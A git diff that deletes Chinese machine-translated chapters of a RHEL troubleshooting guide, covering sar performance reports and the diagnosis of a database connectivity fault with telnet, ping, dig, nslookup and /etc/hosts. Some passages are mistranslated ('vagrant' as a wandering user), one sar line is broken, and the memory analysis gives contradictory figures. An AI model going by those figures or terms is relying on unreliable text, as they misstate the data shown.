等待减少,但是用户级 CPU 利用率增加到 65%-70%。 - -虽然这两个度量没有特别指向任何进程,但它们确实显示了最近 I/O 等待时间减少了,而用户 CPU 时间增加了。 - -为了更好地了解历史统计数据,我们需要查看前一天的 CPU 利用率。 幸运的是,我们可以通过`–f`(filename)标志做到这一点。 `–f`标志允许我们为`sar`命令指定一个历史文件。 这将允许我们有选择地查看前一天的统计数据。 - -```sh -# sar -f /var/log/sa/sa07 -u -Linux 3.10.0-123.el7.x86_64 (blog.example.com) 02/07/2015 _x86_64_ (2 CPU) - -12:00:01 AM CPU %user %nice %system %iowait %steal %idle -12:10:01 AM all 24.63 0.00 0.71 0.00 0.00 74.66 -12:20:01 AM all 25.31 0.00 0.70 0.00 0.00 73.99 -01:00:01 AM all 27.59 0.00 0.68 0.00 0.00 71.73 -01:10:01 AM all 29.64 0.00 0.71 0.00 0.00 69.65 -05:10:01 AM all 44.09 0.00 0.63 0.00 0.00 55.28 -05:20:01 AM all 60.94 0.00 0.58 0.00 0.00 38.48 -05:30:01 AM all 62.32 0.00 0.56 0.00 0.00 37.12 -05:40:01 AM all 63.74 0.00 0.56 0.00 0.00 35.70 -05:50:01 AM all 65.08 0.00 0.56 0.00 0.00 34.35 -0.00 76.07 -Average: all 37.98 0.00 0.65 0.00 0.00 61.38 - -``` - -在 2 月 7 日的报告中,我们可以看到 CPU 利用率与之前的故障排除期间发现的情况有很大的不同。 值得注意的是,在第 7 期的报告中,没有在 I/O 等待状态中花费 CPU 时间。 - -然而,我们看到用户 CPU 时间根据一天中的时间从 20%波动到 65%。 这可能表明预期会有更高的用户 CPU 时间利用率。 - -### 内存 - -要显示内存的统计信息,可以使用`–r`(内存)标志执行`sar`命令。 - -```sh -# sar -r -Linux 3.10.0-123.el7.x86_64 (blog.example.com) 02/09/2015 _x86_64_ (2 CPU) - -12:00:01 AM kbmemfree kbmemused %memused kbbuffers kbcached kbcommit %commit kbactive kbinact kbdirty -12:10:02 AM 38228 463832 92.39 0 387152 446108 28.17 196156 201128 0 -12:20:01 AM 38724 463336 92.29 0 378440 405128 25.59 194336 193216 73360 -12:30:01 AM 38212 463848 92.39 0 377848 405128 25.59 9108 379348 58996 -12:40:02 AM 37748 464312 92.48 0 387500 446108 28.17 196252 201684 0 -12:50:02 AM 33028 469032 93.42 0 392240 446108 28.17 196872 205884 0 -01:00:01 AM 34716 467344 93.09 0 380616 405128 25.59 195900 195676 69332 -01:10:01 AM 31452 470608 93.74 0 384092 396660 25.05 199100 196928 74372 -05:20:02 AM 38756 463304 92.28 0 387120 399996 25.26 197184 198456 4 -05:30:02 AM 187652 314408 62.62 0 19988 617000 38.97 222900 22524 0 -05:40:01 AM 186896 315164 62.77 0 20116 617064 38.97 223512 22300 0 -05:50:01 AM 186824 315236 62.79 0 20148 617064 38.97 223788 22220 0 -06:00:01 AM 182956 319104 63.56 0 24652 615888 38.90 226744 23288 0 -06:10:01 AM 176992 325068 64.75 0 29232 615880 38.90 229356 26500 0 -06:20:01 AM 176756 325304 64.79 0 29480 615884 38.90 229448 26588 0 -06:30:01 AM 176636 325424 64.82 0 29616 615888 38.90 229516 26820 0 -Average: 77860 424200 84.49 0 303730 450102 28.43 170545 182617 29888 - -``` - -同样,如果我们查看`sar`的内存报告的头文件,我们可以看到一些熟悉的值。 - -```sh -12:00:01 AM kbmemfree kbmemused %memused kbbuffers kbcached kbcommit %commit kbactive kbinact kbdirty - -``` - -从这个报告中,我们可以从**kbmemused**列中看到,在 05:40 时,系统突然释放了 150 MB 的物理内存。 从`kbcached`列可以看出,这 150 MB 的内存被分配给了磁盘缓存。 这是基于这样一个事实:在 05:40,缓存内存从 196 MB 增加到 22 MB。 - -有趣的是,与的 CPU 利用率变化一致,也发生在 05:40。 如果希望查看历史内存利用率,还可以将`-f`(文件名)标志与`-r`(内存)标志一起使用。 然而,由于我们可以在 05:40 看到一个相当明显的趋势,所以我们现在将关注这个时间。 - -### 磁盘 - -要显示当前的磁盘统计信息,我们可以使用`–d`(块设备)标志。 - -```sh -# sar -d -Linux 3.10.0-123.el7.x86_64 (blog.example.com) 02/09/2015 _x86_64_ (2 CPU) - -12:00:01 AM DEV tps rd_sec/s wr_sec/s avgrq-sz avgqu-sz await svctm %util -12:10:02 AM dev8-0 1442.64 150584.15 146120.49 205.67 82.17 56.98 0.51 74.17 -12:10:02 AM dev253-0 1.63 11.11 1.96 8.00 0.06 34.87 19.72 3.22 -12:10:02 AM dev253-1 1402.67 150572.19 146051.96 211.47 82.73 58.98 0.53 74.68 -04:20:02 AM dev8-0 1479.72 152799.09 150240.77 204.80 81.27 54.89 0.50 73.86 -04:20:02 AM dev253-0 1.74 10.98 2.96 8.00 0.06 31.81 14.60 2.54 -04:20:02 AM dev253-1 1438.57 152788.11 150298.01 210.69 81.84 56.83 0.52 74.38 -05:30:02 AM dev253-0 1.00 7.83 0.17 8.00 0.00 3.81 2.76 0.28 -05:30:02 AM dev253-1 1170.61 123647.27 122655.72 210.41 69.12 59.04 0.53 62.20 -05:40:01 AM dev8-0 0.08 1.00 0.34 16.10 0.00 1.88 1.00 0.01 -05:40:01 AM dev253-0 0.11 0.89 0.00 8.00 0.00 1.57 0.25 0.00 -05:40:01 AM dev253-1 0.05 0.11 0.34 8.97 0.00 2.77 1.17 0.01 -05:50:01 AM dev8-0 0.07 0.49 0.28 11.10 0.00 1.71 1.02 0.01 -05:50:01 AM dev253-0 0.06 0.49 0.00 8.00 0.00 2.54 0.46 0.00 -05:50:01 AM dev253-1 0.05 0.00 0.28 6.07 0.00 1.96 0.96 0.00 - -Average: DEV tps rd_sec/s wr_sec/s avgrq-sz avgqu-sz await svctm %util -Average: dev8-0 1215.88 125807.06 123583.62 205.11 66.86 55.01 0.50 60.82 -Average: dev253-0 2.13 12.48 4.53 8.00 0.10 44.92 17.18 3.65 -Average: dev253-1 1181.94 125794.56 123577.42 210.99 67.31 56.94 0.52 61.17 - -``` - -默认情况下,`sar`命令将打印设备名称为“`dev-`”,这可能有点令人困惑。 如果添加了`-p`(持久名称)标志,则设备名称将使用持久名称,它与挂载命令中的设备相匹配。 - -```sh -# sar -d -p -Linux 3.10.0-123.el7.x86_64 (blog.example.com) 08/16/2015 _x86_64_ (4 CPU) - -01:46:42 AM DEV tps rd_sec/s wr_sec/s avgrq-sz avgqu-sz await svctm %util -01:48:01 AM sda 0.37 0.00 3.50 9.55 0.00 1.86 0.48 0.02 -01:48:01 AM rhel-swap 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -01:48:01 AM rhel-root 0.37 0.00 3.50 9.55 0.00 2.07 0.48 0.02 - -``` - -即使使用无法识别的格式的名称,我们也可以看到,在 05:40 之前,`dev253-1`似乎有相当多的活动,其中磁盘`tps`(每秒事务数)从 1170 减少到 0.11。 磁盘 I/O 利用率的大幅下降似乎表明今天在`05:40`发生了相当大的变化。 - -### 网络 - -要显示网络统计信息,我们需要执行带有`–n DEV`标志的`sar`命令。 - -```sh -# sar -n DEV -Linux 3.10.0-123.el7.x86_64 (blog.example.com) 02/09/2015 _x86_64_ (2 CPU) - -12:00:01 AM IFACE rxpck/s txpck/s rxkB/s txkB/s rxcmp/s txcmp/s rxmcst/s -12:10:02 AM enp0s3 1.51 1.18 0.10 0.12 0.00 0.00 0.00 -12:10:02 AM enp0s8 0.14 0.00 0.02 0.00 0.00 0.00 0.07 -12:10:02 AM lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -12:20:01 AM enp0s3 0.85 0.85 0.05 0.08 0.00 0.00 0.00 -12:20:01 AM enp0s8 0.18 0.00 0.02 0.00 0.00 0.00 0.08 -12:20:01 AM lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -12:30:01 AM enp0s3 1.45 1.16 0.10 0.11 0.00 0.00 0.00 -12:30:01 AM enp0s8 0.18 0.00 0.03 0.00 0.00 0.00 0.08 -12:30:01 AM lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -05:20:02 AM lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -05:30:02 AM enp0s3 1.23 1.02 0.08 0.11 0.00 0.00 0.00 -05:30:02 AM enp0s8 0.15 0.00 0.02 0.00 0.00 0.00 0.04 -05:30:02 AM lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -05:40:01 AM enp0s3 0.79 0.78 0.05 0.14 0.00 0.00 0.00 -05:40:01 AM enp0s8 0.18 0.00 0.02 0.00 0.00 0.00 0.08 -05:40:01 AM lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -05:50:01 AM enp0s3 0.76 0.75 0.05 0.13 0.00 0.00 0.00 -05:50:01 AM enp0s8 0.16 0.00 0.02 0.00 0.00 0.00 0.07 -05:50:01 AM lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -06:00:01 AM enp0s3 0.67 0.60 0.04 0.10 0.00 0.00 0.00 - -``` - -在网络统计报告中,我们看到全天无变化。 这表明,总的来说,这台服务器从未出现过任何网络性能瓶颈。 - -## 通过比较历史统计来复习我们所学的内容 - -在查看带有`sar`的历史统计数据和使用`ps`、`iostat`、`vmstat`和`top`等命令的近期统计数据之后,我们可以得出以下关于“性能缓慢”的结论。 - -由于我们的一个同行要求我们调查这个问题,我们的结论将以电子邮件的形式回复这个同行。 - -嗨,鲍勃! - -*我查看了一个用户说服务器“慢”的服务器。 似乎名为 vagrant 的用户一直在运行两个主程序的多个实例。 第一个是看起来很忙的应用,它似乎总是在使用大约 20%-40%的 CPU。 但是,至少在一个实例中,lookbusy 应用还使用了大量内存,耗尽了系统的物理内存,并迫使系统进行大量交换。 然而,这个过程并没有持续很长时间。* - -*第二个程序是 bonnie++应用,它似乎利用了大量的磁盘 I/O 资源。 当流浪用户运行邦尼++应用时,它利用了大约 60%的 dm-1 和 sda 磁盘带宽,导致大约 30%的高 I/O 等待。 通常,该系统的 I/O 等待为 0%(通过 sar 确认)。* - -*似乎游移用户正在运行的应用使用的资源超过了预期的水平,导致其他用户的性能下降。* - -# 总结 - -在本章中,我们开始使用在[第二章](02.html#I3QM2-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 2. Troubleshooting Commands and Sources of Useful Information")、*故障诊断命令和有用信息来源*中探讨的一些高级 Linux 命令,如`iostat`和`vmstat`。 在诊断一个模糊的性能问题时,我们还非常熟悉 Linux 中的一个基本实用程序`ps`命令。 - -在第 3 章,*故障排除一个 Web 应用*我们可以遵循整个故障诊断过程从数据收集到的试验和错误,在这一章,我们的行动主要是集中在数据收集和建立一个假设阶段。 发现自己只是排除问题而不执行纠正措施是很常见的。 有许多问题应该由系统的用户而不是系统管理员来解决,但是确定问题的根源仍然是管理员的角色。 - -在[第五章](05.html#UGI01-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 5. Network Troubleshooting")、*网络故障排除*中,我们将排除一些非常有趣的网络问题。 网络对任何系统都至关重要; 问题有时很简单,有时又很复杂。 在下一章中,我们将探讨网络以及如何使用`netstat`和`tcpdump`等工具来排除网络问题。***** \ No newline at end of file diff --git a/docs/rhel-troubleshoot-guide/05.md b/docs/rhel-troubleshoot-guide/05.md deleted file mode 100644 index b59ff8e1..00000000 --- a/docs/rhel-troubleshoot-guide/05.md +++ /dev/null @@ -1,1762 +0,0 @@ -# 五、网络故障排除 - -在[第三章](03.html#KVCC1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 3. Troubleshooting a Web Application")、*Web 应用故障排除*中,我们深入探讨了 Web 应用故障排除; 在讨论一个复杂的应用错误时,我们完全跳过了 web 应用的网络方面。 在本章中,我们将研究一个报告的问题,它将带领我们了解诸如 DNS、路由,当然还有 RHEL 系统的网络配置等概念。 - -网络是任何 Linux 系统管理员的基本技能。 引用一位过去的老师的话: - -> 没有网络的服务器对每个人都是无用的。 - -作为系统管理员,您所管理的每个服务器或桌面都将有某种类型的网络连接。 无论该网络连接是在隔离的公司网络中,还是直接连接到 Internet,都涉及到网络。 - -由于网络是一个如此关键的话题,本章将涵盖网络和网络连接的许多方面; 但是,它不包括防火墙。 防火墙故障诊断和配置实际上将在[第 6 章](06.html#1394Q1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 6. Diagnosing and Correcting Firewall Issues")、*诊断和纠正防火墙问题*中介绍。 - -# 数据库连接问题 - -在[第 3 章](03.html#KVCC1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 3. Troubleshooting a Web Application")、*故障处理 Web 应用*中,我们正在故障处理公司博客的一个问题。 在本章中,我们将再次解决这个博客的问题; 然而,今天的问题有点不同。 - -当天到达后,我们收到一个开发人员打来的电话:*WordPress 博客返回一个错误,它无法连接到数据库*。 - -# 数据收集 - -根据我们一直遵循的故障排除流程,下一步是围绕该问题收集尽可能多的数据。 最好的信息来源之一是报告问题的人; 针对这种情况,我们会问两个基本问题: - -* 我如何复制问题并看到错误? -* WordPress 应用最近有什么变化吗? - -当被问及这个问题时,开发人员表示,我们只需在浏览器中访问博客就可以看到这个错误。 关于第二个问题,开发人员告诉我们,数据库服务最近从 web 服务器转移到了一个新的专用数据库服务器上。 他还提到,迁移发生在几天前,该应用直到今天都在工作。 - -由于数据库服务是几天前移动的,并且应用一直工作到今天早上,所以不太可能是这个更改导致了问题。 然而,我们不应忽视这种可能性。 - -## 重复这个问题 - -正如前面的章节所讨论的,一个关键的数据收集任务是复制问题。 我们这样做不仅是为了验证正在报告的问题就是正在发生的问题,而且还为了发现任何可能没有报告的额外错误。 - -因为开发人员说我们可以通过直接访问博客来复制这一点,所以我们将在浏览器中这样做。 - -![Duplicating the issue](img/00004.jpeg) - -似乎我们可以很容易地复制这个问题。 根据这个错误,应用似乎是简单地说它在建立数据库连接时遇到了问题。 虽然这本身并不意味着这个问题与网络有关,但它可能是。 这个问题也可能仅仅是数据库服务本身的问题。 - -要确定问题是网络问题还是数据库服务问题,我们首先需要找到将应用配置为连接到哪个服务器。 - -## 查找数据库服务器 - -与前面的章节一样,我们将通过查看应用配置文件来确定应用使用的服务器。 从我们之前在[第三章](03.html#KVCC1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 3. Troubleshooting a Web Application"),*Web 应用故障排除*中的故障排除,我们知道 WordPress 应用是托管在`blog.example.com`上的。 首先,我们将登陆博客的 web 服务器,查看 WordPress 的配置文件。 - -```sh -$ ssh blog.example.com -l vagrant -vagrant@blog.example.com's password: -Last login: Sat Feb 28 18:49:40 2015 from 10.0.2.2 -[blog]$ - -``` - -### 提示 - -由于我们将针对多个系统执行命令,本章中的示例将在命令行提示符中包含一个主机名,比如`blog`或`db`。 - -我们在[第三章](03.html#KVCC1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 3. Troubleshooting a Web Application"),*Web 应用故障诊断*中了解到 WordPress 数据库配置存储在`/var/www/html/wp-config.php`文件中。 要快速搜索该文件以获取数据库信息,可以使用`grep`命令搜索字符串`DB`,因为在前面的事件中,这个字符串用于数据库配置。 - -```sh -[blog]$ grep DB wp-config.php -define('DB_NAME', 'wordpress'); -define('DB_USER', 'wordpress'); -define('DB_PASSWORD', 'password'); -define('DB_HOST', 'db.example.com'); -define('DB_CHARSET', 'utf8'); -define('DB_COLLATE', ''); - -``` - -通过上面的代码,我们可以看到应用当前被配置为连接到`db.example.com`。 第一个简单的故障排除步骤是尝试手动连接数据库。 手动测试数据库连接的一种简单方法是使用`telnet`命令。 - -## 测试连接 - -`telnet`命令是一个非常有用的网络和网络服务故障诊断工具,因为它的设计目的是简单地建立到指定主机和端口的基于 tcp 的网络连接。 对于我们的示例,我们将尝试连接端口`3306`上的主机`db.example.com`。 - -MySQL 和 MariaDB 的默认端口是`3306`; 在前一章中,我们已经确定了这个 web 应用需要这两种数据库服务之一。 由于我们没有在`wp-config.php`文件的配置中看到列出的特定端口,我们将假设数据库服务运行在这个默认端口上。 - -### Telnet from blog.example.com - -首先,我们将从博客服务器本身执行`telnet`命令。 我们在应用运行的同一台服务器上进行测试,这一点很重要,因为这允许我们在应用接收错误时在相同的网络条件下进行测试。 - -要使用 telnet 连接到数据库服务器,我们将执行`telnet`命令,然后执行我们希望连接到的主机名(`db.example.com`)和端口(`3306`)。 - -```sh -[blog]$ telnet db.example.com 3306 -Trying 192.168.33.12... -telnet: connect to address 192.168.33.12: No route to host - -``` - -提示 telnet 连接失败。 有趣的是所提供的错误; **没有到主机的路由**错误似乎清楚地表明一个潜在的网络问题。 - -### 从我们的笔记本电脑 Telnet - -由于来自博客服务器的连接尝试失败,错误提示存在与网络相关的问题,所以我们可以从笔记本电脑尝试相同的连接,以确定问题是在博客服务器端还是`db`服务器端。 - -要从我们的笔记本电脑测试这个连接,我们可以再次使用`telnet`命令。 即使我们的笔记本电脑不一定运行 Linux 操作系统,我们也可以使用这个命令。 原因是`telnet`命令是一个跨平台实用程序; 在本章中,我们将使用几个跨平台的命令。 虽然这些命令可能不多,但通常有几个命令可以在大多数操作系统上工作,包括那些传统上没有广泛的命令行功能的命令。 - -虽然一些操作系统已经从默认安装中删除了`telnet`客户端,但仍然可以安装该软件。 对于我们的示例,膝上电脑运行 OS X,它目前部署了`telnet`客户机。 - -```sh -[laptop]$ telnet db.example.com 3306 -Trying 10.0.0.50... -Connected to 10.0.0.50. -Escape character is '^]'. -Connection closed by foreign host. - -``` - -看来我们的笔记本电脑也无法连接到数据库服务; 然而,这次的错误是不同的。 这一次似乎提示连接尝试被远程服务关闭了。 我们也没有看到来自远程服务的消息,这将表明连接从未完全建立。 - -使用`telnet`命令建立端口可用性的一个警告是,`telnet`命令将显示一个连接为**Connected**; 然而,连接不一定在这一点上建立。 使用 telnet 时的一般规则是,在收到远程服务的消息之前不要假设连接成功。 在我们的示例中,我们没有收到来自远程服务的消息。 - -## 平 - -由于的`telnet`和我们的笔记本电脑都失败了,我们应该检查这个问题是仅仅局限于数据库服务还是连接到整个服务器。 测试服务器到服务器连接性的一个工具是`ping`命令,与`telnet`命令一样,它也是一个跨平台实用程序。 - -要用`ping`命令测试连接性,我们可以简单地执行命令,后面跟着我们希望`ping`的主机。 - -```sh -[blog]$ ping db.example.com -PING db.example.com (192.168.33.12) 56(84) bytes of data. -From blog.example.com (192.168.33.11) icmp_seq=1 Destination Host Unreachable -From blog.example.com (192.168.33.11) icmp_seq=2 Destination Host Unreachable -From blog.example.com (192.168.33.11) icmp_seq=3 Destination Host Unreachable -From blog.example.com (192.168.33.11) icmp_seq=4 Destination Host Unreachable -^C ---- db.example.com ping statistics --- -6 packets transmitted, 0 received, +4 errors, 100% packet loss, time 5008ms - -``` - -来自`ping`命令的错误似乎与来自`telnet`命令的错误非常相似。 为了更好地理解这个错误,让我们首先更好地理解`ping`命令是如何工作的。 - -首先,在执行任何其他操作之前,`ping`命令将尝试解析提供的主机名。 这意味着,在执行任何其他操作之前,我们的 ping 执行尝试识别`db.example.com`的 IP 地址。 - -```sh -PING db.example.com (192.168.33.12) 56(84) bytes of data. - -``` - -从结果中可以看到,`ping`命令将该主机识别为解析到`192.168.33.12`。 一旦 ping 有了 IP 地址,它将发送一个`ICMP`回显请求网络包到该 IP。 在本例中,这意味着它正在向`192.168.33.12`发送一个`ICMP`echo 请求。 - -ICMP 是一种用作控制系统的网络协议。 当远端主机,例如`192.168.33.12`接收到一个`ICMP`回显请求网络包时,它应该向请求主机发送一个`ICMP`回显应答网络包。 该活动允许两台主机通过执行简单的*乒乓*网络版本来验证网络连接。 - -```sh -From blog.example.com (192.168.33.11) icmp_seq=1 Destination Host Unreachable - -``` - -如果我们的`ICMP`回显请求包从未到达`192.168.33.12`服务器,那么`ping`命令就不会有输出。 然而,我们收到了一个错误; 这意味着另一端的系统启动了,但两台主机之间的连接出现了错误,阻止了完全的双向讨论。 - -关于这个问题,产生的一个问题是,对于来自博客服务器的所有网络连接,错误是正确的,还是仅针对`blog`和`db`服务器之间的通信。 我们可以通过对另一个通用地址执行`ping`请求来测试这一点。 由于我们的系统连接到 Internet,我们可以简单地使用一个公共 Internet 域。 - -```sh -# ping google.com -PING google.com (216.58.216.46) 56(84) bytes of data. -64 bytes from lax02s22-in-f14.1e100.net (216.58.216.46): icmp_seq=1 ttl=63 time=23.5 ms -64 bytes from lax02s22-in-f14.1e100.net (216.58.216.46): icmp_seq=2 ttl=63 time=102 ms -64 bytes from lax02s22-in-f14.1e100.net (216.58.216.46): icmp_seq=3 ttl=63 time=26.9 ms -64 bytes from lax02s22-in-f14.1e100.net (216.58.216.46): icmp_seq=4 ttl=63 time=25.6 ms -64 bytes from lax02s22-in-f14.1e100.net (216.58.216.46): icmp_seq=5 ttl=63 time=25.6 ms -^C ---- google.com ping statistics --- -5 packets transmitted, 5 received, 0% packet loss, time 4106ms -rtt min/avg/max/mdev = 23.598/40.799/102.156/30.697 ms - -``` - -前面的示例是一个正在工作的`ping`请求和应答的示例。 在这里,我们不仅可以看到[Google.com](http://Google.com)解析到的 IP,还可以看到返回的`ping`请求。 这意味着,当我们的博客服务器发送`ICMP echo request`时,远程服务器`216.58.216.46`将发送`ICMP echo reply`。 - -## DNS 故障处理 - -有趣的是,`ping`和`telnet`命令告诉我们除了之外的网络连接是`db.example.com`主机名的 IP 地址。 然而,在笔记本电脑上执行这些操作与在博客服务器上执行这些操作时,结果似乎是不同的。 - -从博客服务器,我们的`telnet`试图连接到`192.168.33.12`,与我们的`ping`命令的地址相同。 - -```sh -[blog]$ telnet db.example.com 3306 -Trying 192.168.33.12... -However, from the laptop, our telnet tried to connect to 10.0.0.50, a completely different IP address. -[laptop]$ telnet db.example.com 3306 -Trying 10.0.0.50... - -``` - -原因很简单; 似乎我们的笔记本电脑得到了不同的 DNS 结果作为我们的博客服务器。 然而,如果是这样的话,这可能意味着我们的问题可能仅仅与 DNS 问题有关。 - -### 使用 dig 检查 DNS - -DNS 是现代网络的一个重要方面。 我们目前的问题就是它重要性的一个很好的例子。 在 WordPress 配置文件中,我们的数据库服务器被设置为`db.example.com`。 这意味着在应用服务器建立数据库连接之前,它必须首先查找 IP 地址。 - -在许多情况下,可以相当安全地假设`ping`识别的 IP 地址很可能是 DNS 提供的 IP 地址。 然而,这种情况并不总是如此,我们可能很快就会发现我们的具体问题。 - -`dig`命令是一个非常有用的 DNS 故障诊断命令; 它非常灵活,可以用于执行许多不同类型的 DNS 请求。 要验证`db.example.com`的 DNS,我们可以简单地执行`dig`命令,后面跟着要查询的主机名:`db.example.com`。 - -```sh -[blog]$ dig db.example.com - -; <<>> DiG 9.9.4-RedHat-9.9.4-14.el7_0.1 <<>> db.example.com -;; global options: +cmd -;; Got answer: -;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15857 -;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 - -;; OPT PSEUDOSECTION: -; EDNS: version: 0, flags:; udp: 4096 -;; QUESTION SECTION: -;db.example.com. IN A - -;; ANSWER SECTION: -db.example.com. 15 IN A 10.0.0.50 - -;; Query time: 39 msec -;; SERVER: 10.0.2.3#53(10.0.2.3) -;; WHEN: Sun Mar 01 20:51:22 UTC 2015 -;; MSG SIZE rcvd: 59 - -``` - -如果我们查看从`dig`返回的数据,可以看到 DNS 名称`db.example.com`并没有解析为`192.168.33.12`,而是解析为`10.0.0.50`。 我们可以在`dig`命令的输出`ANSWER SECTION`中看到这一点。 - -```sh -;; ANSWER SECTION: -db.example.com. 15 IN A 10.0.0.50 - -``` - -`dig`的一个非常有用的选项是指定要查询的服务器。 在之前的`dig`执行中,我们可以看到服务器`10.0.2.3`是提供`10.0.0.50`地址的服务器。 - -```sh -;; Query time: 39 msec -;; SERVER: 10.0.2.3#53(10.0.2.3) - -``` - -由于我们不熟悉这个 DNS 服务器,我们可以通过查询谷歌的公共 DNS 服务器进一步验证返回的结果。 我们可以通过添加`@`和我们想要使用的 DNS 服务器 IP 或主机名来实现这一点。 在下面的例子中,我们正在请求`8.8.8.8`一个 DNS 服务器,它是谷歌的公共 DNS 基础设施的一部分。 - -```sh -[blog]$ dig @8.8.8.8 db.example.com - -; <<>> DiG 9.9.4-RedHat-9.9.4-14.el7_0.1 <<>> @8.8.8.8 example.com -; (1 server found) -;; global options: +cmd -;; Got answer: -;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 42743 -;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 - -;; OPT PSEUDOSECTION: -; EDNS: version: 0, flags:; udp: 512 -;; QUESTION SECTION: -;db.example.com. IN A - -;; ANSWER SECTION: -db.example.com. 18639 IN A 10.0.0.50 - -;; Query time: 39 msec -;; SERVER: 8.8.8.8#53(8.8.8.8) -;; WHEN: Sun Mar 01 22:14:53 UTC 2015 -;; MSG SIZE rcvd: 56 -It seems that Google's public DNS has the same results as 10.0.2.3. - -``` - -### 使用 nslookup 查找 DNS - -另一个用于故障诊断 DNS 的好工具是`nslookup`。 `nslookup`命令是一个已经存在了很长时间的命令。 事实上,它是存在于几乎所有主要操作系统上的另一个跨平台命令。 - -要使用`nslookup`执行简单的 DNS 查找,我们可以简单地运行后跟 DNS 名称的命令进行查询,类似于`dig`。 - -```sh -[blog]$ nslookup db.example.com -Server: 10.0.2.3 -Address: 10.0.2.3#53 - -Non-authoritative answer: -Name: db.example.com -Address: 10.0.0.50 - -``` - -与`dig`一样,`nslookup`命令也可以用于查询特定的 DNS 服务器。 这可以通过两种方法来实现。 第一种方法是在命令的末尾添加服务器地址。 - -```sh -[blog]$ nslookup db.example.com 8.8.8.8 -Server: 8.8.8.8 -Address: 8.8.8.8#53 - -Non-authoritative answer: -Name: db.example.com -Address: 10.0.0.50 - -``` - -第二种方法是在交互模式下使用`nslookup`。 要进入交互模式,只需执行`nslookup`,没有其他选项。 - -```sh -# nslookup -> - -``` - -进入交互模式后,通过输入`server `指定要使用的服务器。 - -```sh -# nslookup -> server 8.8.8.8 -Default server: 8.8.8.8 -Address: 8.8.8.8#53 -> - -``` - -最后,要查找 DNS 名称,只需输入要查询的域。 - -```sh -# nslookup -> server 8.8.8.8 -Default server: 8.8.8.8 -Address: 8.8.8.8#53 -> db.example.com -Server: 8.8.8.8 -Address: 8.8.8.8#53 - -Non-authoritative answer: -Name: db.example.com -Address: 10.0.0.50 -> -To leave the interactive mode, simply type exit. -> exit - -``` - -那么为什么使用`nslookup`而不是`dig`呢? 虽然`dig`命令非常有用,但它不是一个跨平台命令,传统上只在 Unix 和 Linux 系统上存在。 另一方面,`nslookup`命令是跨平台的,可以在`dig`命令不可用的大多数环境中找到。 作为系统管理员,熟悉许多命令是很重要的,能够使用任何可用的命令执行任务是非常有用的。 - -### dig 和 nslookup 告诉我们什么? - -现在我们已经使用了`dig`和`nslookup`来查询 DNS 名称`db.example.com`,下面让我们回顾一下所发现的内容。 - -* 域`db.example.com`实际上解析为`10.0.0.50` -* `ping`命令为域`db.example.com`返回`192.168.33.12` - -`ping`命令如何返回一个地址,而 DNS 返回另一个地址? 一种可能是在`/etc/hosts`文件中配置。 我们可以通过一个简单的`grep`命令非常快速地验证这一点。 - -```sh -[blog]$ grep example.com /etc/hosts -192.168.33.11 blog.example.com -192.168.33.12 db.example.com - -``` - -#### 关于/etc/hosts 的一些信息 - -在创建**Bind**等 DNS 服务器之前,使用本地`hosts`文件管理域到 ip 的映射。 该文件包含系统需要连接到的每个域地址的列表。 然而,随着时间的推移,这种方法变得复杂,因为网络从少数主机发展到成千上万的主机。 - -在 Linux 和大多数 Unix 发行版上,`hosts`文件位于`/etc/hosts`。 默认情况下,`/etc/hosts`文件中的任何条目将取代 DNS 请求。 这意味着,在默认情况下,如果`/etc/hosts`文件中存在域到 ip 的映射,那么将使用该映射,系统不会从另一个 DNS 系统获取相同的域。 - -这是 Linux 的默认行为; 但是,我们可以通过读取`/etc/nsswitch.conf`文件来检查这个服务器是否使用了这个默认配置。 - -```sh -[blog]$ grep hosts /etc/nsswitch.conf -hosts: files dns - -``` - -`nsswitch.conf`文件是一个配置,它允许管理员配置使用哪个后端系统来查找用户、组、网络组、主机名和服务等项。 例如,如果我们想配置一个系统来使用`ldap`来查找用户组,我们可以通过更改`/etc/nsswitch.conf`文件中的值来实现。 - -```sh -[blog]$ grep group /etc/nsswitch.conf -group: files sss - -``` - -根据上述`grep`命令的输出结果,配置 blog 系统使用本地组文件,然后使用 SSSD 服务查找用户组。 要将`ldap`添加到这个配置中,只需按照所需的顺序(即`ldap files sss`)将其添加到列表中。 - -对于由`hosts`配置指定的 DNS,我们的服务器被配置为首先根据文件查找主机,然后再根据 DNS 查找主机。 这意味着我们的系统在通过 DNS 查找域之前会先解析`/etc/hosts`文件。 - -### DNS 概述 - -现在我们已经确认了 DNS 和`/etc/hosts`文件,我们知道有人已经将此应用服务器配置为`db.example.com`解析为`192.168.33.12`。 这是一个错误或这是一种方式连接到数据库服务器不使用 DNS? - -现在下结论还为时过早,但是我们知道主机`192.168.33.12`没有从博客服务器向我们的`ICMP echo request`发送`ICMP echo reply`。 - -## 来自其他位置的 ping - -在处理网络问题时,最好从多个位置或服务器尝试连接。 对于数据收集器类型的故障诊断人员来说,这似乎是显而易见的,但是受过教育的猜测型故障诊断人员可能会忽略这个非常有用的步骤。 - -对于我们的示例,我们将运行从笔记本电脑到`192.168.33.12`的测试`ping`。 - -```sh -[laptop]$ ping 192.168.33.12 -PING 192.168.33.12 (192.168.33.12): 56 data bytes -64 bytes from 192.168.33.12: icmp_seq=0 ttl=64 time=0.573 ms -64 bytes from 192.168.33.12: icmp_seq=1 ttl=64 time=0.425 ms -64 bytes from 192.168.33.12: icmp_seq=2 ttl=64 time=0.461 ms -^C ---- 192.168.33.12 ping statistics --- -3 packets transmitted, 3 packets received, 0.0% packet loss -round-trip min/avg/max/stddev = 0.425/0.486/0.573/0.063 ms - -``` - 